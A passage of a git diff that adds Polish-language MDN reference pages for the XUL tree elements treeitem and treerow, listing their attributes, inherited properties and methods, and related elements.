+<dl><dt> <code id="a-pickertooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pickertooltiptext">pickertooltiptext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst podpowiedzi zebrany w kolumnie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treerow">treerow</a>, <a href="pl/XUL/treecell">treecell</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treeitem/index.html b/files/pl/mozilla/tech/xul/treeitem/index.html
new file mode 100644
index 0000000000..80ff3e3c98
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treeitem/index.html
@@ -0,0 +1,93 @@
+---
+title: treeitem
+slug: Mozilla/Tech/XUL/treeitem
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treeitem
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Obiekt <code>treeitem</code> powinien być umieszczany wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code> i powinien zawierać elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code>. <code>treeitem</code> może być kliknięty przez użytkownika aby zaznaczyć wiersz drzewa. <code>treeitem</code> zawiera pojedynczy wiersz i wszystko co po stronie użytkownika jest potomkiem tego wiersza.
+</p><p>W warunkach szablonu, powinieneś zastosować <code>treeitem</code> zamiast elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/content" title="content">content</a></code>, kiedy flaga <code>dont-build-content</code> jest zastosowana. Ustaw atrybut <code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code> do nazwy zmiennej, aby podwiązać się (bind) do wiązania zawartości podczas porównania.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-container">container</a>, <a href="#a-empty">empty</a>, <a href="#a-treeitem.label">label</a>, <a href="#a-open">open</a>, <a href="#a-uri">uri</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-container">
+
+<dl>
+ <dt>
+ <code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustaw na <code>true</code>, jeśli element spełnia funkcję jako kontener, który posiada elementy potomne. Będzie ustawiony jako potrzebny w kreatorze szablonów.</dd>
+</dl>
+</div>
+<div id="a-empty">
+
+<dl><dt> <code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawia <code>true</code>, jeśli element jest kontenerem bez elementu potomnego. Zostanie ustawiony poprzez kreator szablonów jako potrzebny.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-treeitem.label">
+
+<dl><dt> <a href="pl/XUL/Atrybut/treeitem.label">label</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code> z pojedynczą <a href="pl/XUL/treecol">kolumną</a>, etykieta może być umieszczona bezpośrednio na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> bez potrzebnych elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code> i <code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code> wewnątrz.
+</dd></dl>
+
+
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-uri">
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy </dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treerow">treerow</a>, <a href="pl/XUL/treecell">treecell</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treerow/index.html b/files/pl/mozilla/tech/xul/treerow/index.html
new file mode 100644
index 0000000000..0a8e462871
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treerow/index.html
@@ -0,0 +1,114 @@
+---
+title: treerow
+slug: Mozilla/Tech/XUL/treerow
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treerow
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
